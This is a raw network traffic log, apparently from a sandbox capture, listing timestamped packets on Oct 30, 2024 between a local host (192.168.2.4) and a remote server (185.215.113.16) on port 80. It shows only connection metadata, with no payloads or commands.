Oct 30, 2024 12:36:36.037849903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037884951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037919044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037944078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037950993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.037966013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.037986040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038018942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038023949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038053036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038084984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038103104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038117886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038151979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038184881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038191080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038228035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038237095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038263083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038295984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038328886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038345098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038362980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038367987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038397074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038429022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038441896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038465023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038496971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038507938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038531065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038563967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038577080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038598061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038630962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038664103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038675070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038697958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038702011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038732052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038764954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038770914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038798094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038830996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038867950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038897991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038901091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038907051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.038934946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038969040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.038973093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039002895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039036989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039048910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039071083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039103985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039114952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039138079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039166927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039200068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039203882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039232969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039242029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039273024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039307117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039350986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039351940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039385080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039405107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039411068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039421082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039434910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039443016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039449930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039464951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039479017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039484024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039495945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039496899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039511919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039526939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039535046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039542913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039556980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039572001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039582014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039587021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039603949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039614916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039618969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039623976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039633989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039649010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039655924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039664984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039680958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039690018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039696932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039711952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039727926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039735079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039743900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039753914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039760113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039774895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039782047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039792061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039805889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039808989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039822102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039839983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039845943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039858103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039872885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039886951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039895058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039904118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039918900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039925098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039935112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039942026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039951086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039966106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039974928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.039983988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.039995909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.040009022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.040033102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.124337912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.124388933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.124424934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.124448061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.124460936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.124587059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143500090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143517017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143533945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143556118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143718004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143733978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143749952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143752098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143768072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143785000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143790960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143800974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143816948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143831968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143841982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143858910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143863916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143876076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143898964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143919945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143923044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143939018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143943071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.143955946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143971920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143987894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.143995047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144015074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144022942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144032001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144047022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144062996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144072056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144089937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144093037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144104958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144125938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144130945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144145012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144169092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144184113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144186020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144207001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144210100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144229889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144244909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144248009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144260883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144277096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144299984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144299984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144316912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144326925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144334078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144356966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144359112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144388914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144392967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144404888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144423962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144439936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144445896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144458055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144473076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144481897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144498110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144510984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144515038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144532919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144548893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144573927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144577026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144592047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144596100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144608021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144625902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144633055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144664049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144726992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144742966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144758940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144774914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144790888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144794941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144808054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144823074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144826889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144844055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144850969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144860029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144875050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144876003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144893885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144912004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144915104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144927025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144942999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144947052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.144964933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.144984961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145024061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145039082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145055056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145071983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145076036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145088911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145103931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145106077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145123005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145124912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145142078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145158052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145164013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145198107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145245075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145261049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145276070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145292044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145308018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145315886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145323992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145335913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145354033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145370007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145370960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145389080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145407915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145412922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145445108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145453930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145461082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145477057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145517111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145534039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145550013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145566940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145584106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145610094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145665884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145682096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145697117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145713091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145714045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145730019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145745993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145756960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145761013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145781994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145788908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145807028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145823002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145843029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145859957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145863056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145886898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145889997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145903111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145915985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145931959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145947933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145956039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.145975113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.145987034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146018028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146044970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146059990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146075964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146081924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146090031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146106958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146111965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146123886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146130085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146142006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146162033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146171093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146178961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146194935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146210909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146218061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146225929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146236897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146251917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146267891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146267891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146295071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146311045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146313906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146326065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146348000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146430969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146445990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146462917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146478891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146486044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146496058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146511078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146513939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146527052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146534920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146568060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146614075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146626949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146641970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146656990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146660089 CET	49744	80	192.168.2.4	185.215.113.16
